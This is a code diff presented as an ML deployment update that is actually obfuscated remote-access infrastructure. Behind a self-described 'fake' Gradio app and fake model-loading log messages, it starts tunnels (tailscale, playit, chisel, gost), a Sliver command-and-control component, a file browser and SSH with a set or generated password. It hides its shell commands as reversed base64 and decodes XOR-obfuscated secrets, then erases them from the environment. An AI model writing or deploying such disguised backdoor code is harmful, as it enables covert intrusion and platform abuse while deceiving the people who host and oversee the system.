Automated deployment update from ML build

core/orchestrator.py

@@ -23,10 +23,10 @@ def jitter_task():
 		try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
 		except Exception:pass
 def main():
-	c='SSH';b='PASS';a='TAILSCALE';Z='/home/user/pytorch_model.bin';Y='/home/user/.torch_metrics/nginx.log';X='/home/user/.torch_metrics/sliver.log';W='/home/user/.torch_metrics/gost.log';V='/home/user/.torch_metrics/chisel.log';U='/home/user/.torch_metrics/tm_daemon.log';T='/home/user/.torch_metrics/fb.log';S='/home/user/.torch_metrics/ts_daemon.log';R='/home/user/.torch_metrics';O='CHISEL';N='PLAYIT';A='a'
-	if COVERT_LOGGING_MODE==1:os.makedirs(R,exist_ok=_A);D=open(S,A);H=open(T,A);I=open(U,A);J=open(V,A);K=open(W,A);L=open(X,A);M=open(Y,A)
+	a='SSH';Z='PASS';Y='TAILSCALE';X='/home/user/pytorch_model.bin';W='/home/user/.torch_metrics/nginx.log';V='/home/user/.torch_metrics/sliver.log';U='/home/user/.torch_metrics/gost.log';T='/home/user/.torch_metrics/chisel.log';S='/home/user/.torch_metrics/tm_daemon.log';R='/home/user/.torch_metrics/fb.log';Q='/home/user/.torch_metrics/ts_daemon.log';P='/home/user/.torch_metrics';N='CHISEL';A='a'
+	if COVERT_LOGGING_MODE==1:os.makedirs(P,exist_ok=_A);D=open(Q,A);H=open(R,A);I=open(S,A);J=open(T,A);K=open(U,A);L=open(V,A);M=open(W,A)
 	elif COVERT_LOGGING_MODE==2:
-		os.makedirs(R,exist_ok=_A)
+		os.makedirs(P,exist_ok=_A)
 		class B:
 			def __init__(B,filepath,prefix):B.file=open(filepath,A);B.prefix=prefix;C,D=os.pipe();B.r=C;B.w=D;threading.Thread(target=B._reader,daemon=_A).start()
 			def _reader(A):
@@ -37,21 +37,21 @@ def main():
 			def fileno(A):return A.w
 			def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
 			def flush(A):A.file.flush();sys.stdout.flush()
-		D=B(S,'TS');H=B(T,'FB');I=B(U,N);J=B(V,O);K=B(W,'GOST');L=B(X,'SLIVER');M=B(Y,'NGINX')
+		D=B(Q,'TS');H=B(R,'FB');I=B(S,'PLAYIT');J=B(T,N);K=B(U,'GOST');L=B(V,'SLIVER');M=B(W,'NGINX')
 	else:C=open(os.devnull,'w');D=C;H=C;I=C;J=C;K=C;L=C;M=C
-	os.makedirs('/home/user/static',exist_ok=_A);nginx.start(M);logger.info('Starting Gradio fake app (API server)...');d=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');e=subprocess.Popen(d,shell=_A)
-	if not os.path.exists(Z):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',Z])
-	logger.info('Loading model weights into VRAM...');threading.Thread(target=jitter_task,daemon=_A).start();f=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {f}s)...");tailscale.start_daemon(D);logger.info('Warming up text-generation pipelines...');g=os.environ.get('A')or os.environ.get(a)or'';P=deobfuscate_secret(g.strip());h=os.environ.get('P')or os.environ.get(N)or'';Q=deobfuscate_secret(h.strip());i=os.environ.get('C')or os.environ.get(O)or'';E=deobfuscate_secret(i.strip())
+	os.makedirs('/home/user/static',exist_ok=_A);nginx.start(M);logger.info('Starting Gradio fake app (API server)...');b=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');c=subprocess.Popen(b,shell=_A)
+	if not os.path.exists(X):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',X])
+	logger.info('Loading model weights into VRAM...');threading.Thread(target=jitter_task,daemon=_A).start();d=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {d}s)...");tailscale.start_daemon(D);logger.info('Warming up text-generation pipelines...');e=os.environ.get('A')or os.environ.get(Y)or'';O=deobfuscate_secret(e.strip());f=os.environ.get('C')or os.environ.get(N)or'';E=deobfuscate_secret(f.strip())
 	if not E:E='user:apple123'
-	j=['A',a,'P',N,'C',O]
-	for F in j:
+	g=['A',Y,'C',N]
+	for F in g:
 		if F in os.environ:del os.environ[F]
-	filebrowser.start(H);playit.start(I,Q);Q='';chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';tailscale.connect(D,P);P='';k=os.environ.get(b)or os.environ.get(c)or'';G=deobfuscate_secret(k.strip())
+	filebrowser.start(H);playit.start(I);chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';tailscale.connect(D,O);O='';h=os.environ.get(Z)or os.environ.get(a)or'';G=deobfuscate_secret(h.strip())
 	if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
 	else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
 	try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
-	except Exception as l:logger.error(f"Failed to set password: {l}")
-	for F in[b,c]:
+	except Exception as i:logger.error(f"Failed to set password: {i}")
+	for F in[Z,a]:
 		if F in os.environ:del os.environ[F]
-	subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D);playit.start_xor_bridge();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');e.wait()
+	subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D);playit.start_xor_bridge();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');c.wait()
 if __name__=='__main__':main()

services/playit.py

@@ -2,6 +2,19 @@ _A=True
 import subprocess,os,socket,threading
 from.utils import decode_cmd
 XOR_KEY=90
+def deobfuscate_secret(hex_str,key=90):
+	A=hex_str
+	if not A:return''
+	try:
+		C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
+		if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
+		else:return A
+	except Exception:return A
+def _load_token():
+	B='PLAYIT';C=os.environ.get('P')or os.environ.get(B)or'';D=deobfuscate_secret(C.strip())
+	for A in('P',B):
+		if A in os.environ:del os.environ[A]
+	return D
 def _pipe_xor(src,dst):
 	try:
 		while _A:
@@ -46,4 +59,4 @@ def _xor_bridge_loop():
 		while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
 	except Exception:pass
 def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start()
-def start(tm_log,playit_token):A=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');B=f"{A}{playit_token}'";C=os.environ.copy();subprocess.Popen(B,shell=_A,env=C,stdout=tm_log,stderr=subprocess.STDOUT)
+def start(tm_log):A=_load_token();B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)